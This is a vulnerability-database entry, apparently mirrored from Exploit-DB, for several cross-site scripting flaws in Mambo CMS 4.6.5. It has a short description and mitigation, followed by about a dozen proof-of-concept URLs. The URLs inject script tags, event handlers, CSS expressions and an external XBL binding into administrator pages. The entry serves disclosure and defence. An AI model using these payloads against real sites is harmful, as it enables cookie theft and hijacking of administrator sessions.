Cross-Site Scripting Vulnerabilities in Mambo CMS

vendor:

Mambo CMS

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: Mambo CMS

Affected Version From: 4.6.2005

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

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Cross-Site Scripting Vulnerabilities in Mambo CMS

Mambo CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate the vulnerability, it is recommended to sanitize and validate user-supplied input before using it in the application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/48455/info

Mambo CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mambo CMS 4.6.5 is vulnerable; other versions may also be affected; 

http://www.example.com/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32

http://www.example.com/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20

http://www.example.com/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS

http://www.example.com/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS

http://www.example.com/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent

http://www.example.com/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment

http://www.example.com/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;dis

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2